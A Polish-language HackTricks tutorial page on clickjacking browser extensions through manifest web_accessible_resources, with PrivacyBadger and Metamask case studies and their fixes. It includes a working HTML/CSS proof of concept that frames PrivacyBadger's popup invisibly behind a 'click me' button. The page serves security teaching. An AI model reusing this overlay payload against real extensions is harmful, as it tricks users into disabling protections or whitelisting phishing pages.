BrowExt - ClickJacking

Support HackTricks

Podstawowe informacje

Ta strona będzie wykorzystywać lukę ClickJacking w rozszerzeniu przeglądarki. Jeśli nie wiesz, czym jest ClickJacking, sprawdź:

Clickjacking

Rozszerzenia zawierają plik manifest.json, a ten plik JSON ma pole web_accessible_resources. Oto, co mówią dokumenty Chrome:

Te zasoby będą dostępne na stronie internetowej za pośrednictwem adresu URL chrome-extension://[PACKAGE ID]/[PATH], który można wygenerować za pomocą extension.getURL method. Zasoby na liście dozwolonych są serwowane z odpowiednimi nagłówkami CORS, więc są dostępne za pośrednictwem mechanizmów takich jak XHR.1

web_accessible_resources w rozszerzeniu przeglądarki nie są dostępne tylko przez sieć; działają również z wbudowanymi uprawnieniami rozszerzenia. Oznacza to, że mają zdolność do:

  • Zmiany stanu rozszerzenia

  • Ładowania dodatkowych zasobów

  • Interakcji z przeglądarką w pewnym zakresie

Jednak ta funkcja stwarza ryzyko bezpieczeństwa. Jeśli zasób w web_accessible_resources ma jakąkolwiek istotną funkcjonalność, atakujący mógłby potencjalnie osadzić ten zasób w zewnętrznej stronie internetowej. Nieuważni użytkownicy odwiedzający tę stronę mogą nieświadomie aktywować ten osadzony zasób. Taka aktywacja może prowadzić do niezamierzonych konsekwencji, w zależności od uprawnień i możliwości zasobów rozszerzenia.

Przykład PrivacyBadger

W rozszerzeniu PrivacyBadger zidentyfikowano lukę związaną z katalogiem skin/, który został zadeklarowany jako web_accessible_resources w następujący sposób (sprawdź oryginalny post na blogu):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Ta konfiguracja prowadziła do potencjalnego problemu z bezpieczeństwem. Konkretnie, plik skin/popup.html, który jest renderowany po interakcji z ikoną PrivacyBadger w przeglądarce, mógł być osadzony w iframe. To osadzenie mogło być wykorzystane do oszukania użytkowników, aby nieświadomie kliknęli "Wyłącz PrivacyBadger dla tej witryny". Taki krok naruszyłby prywatność użytkownika, wyłączając ochronę PrivacyBadger i potencjalnie narażając użytkownika na zwiększone śledzenie. Wizualna demonstracja tego exploit'u jest dostępna w przykładzie wideo ClickJacking pod adresem https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Aby rozwiązać tę lukę, wdrożono proste rozwiązanie: usunięcie /skin/* z listy web_accessible_resources. Ta zmiana skutecznie zminimalizowała ryzyko, zapewniając, że zawartość katalogu skin/ nie mogła być uzyskiwana ani manipulowana za pomocą zasobów dostępnych w sieci.

Naprawa była prosta: usuń /skin/* z web_accessible_resources.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Przykład Metamask

A post na blogu o ClickJacking w metamask można znaleźć tutaj. W tym przypadku Metamask naprawił lukę, sprawdzając, czy protokół używany do uzyskania dostępu to https: lub http: (a nie chrome: na przykład):

Inny ClickJacking naprawiony w rozszerzeniu Metamask polegał na tym, że użytkownicy mogli Kliknąć, aby dodać do białej listy, gdy strona była podejrzana o phishing z powodu “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Ponieważ ta strona była podatna na Clickjacking, atakujący mógł to wykorzystać, pokazując coś normalnego, aby ofiara kliknęła, aby dodać ją do białej listy, nie zauważając tego, a następnie wracając do strony phishingowej, która zostanie dodana do białej listy.

Przykład Steam Inventory Helper

Sprawdź następującą stronę, aby zobaczyć, jak XSS w rozszerzeniu przeglądarki zostało połączone z luką ClickJacking:

BrowExt - XSS Example

Referencje

Support HackTricks

Last updated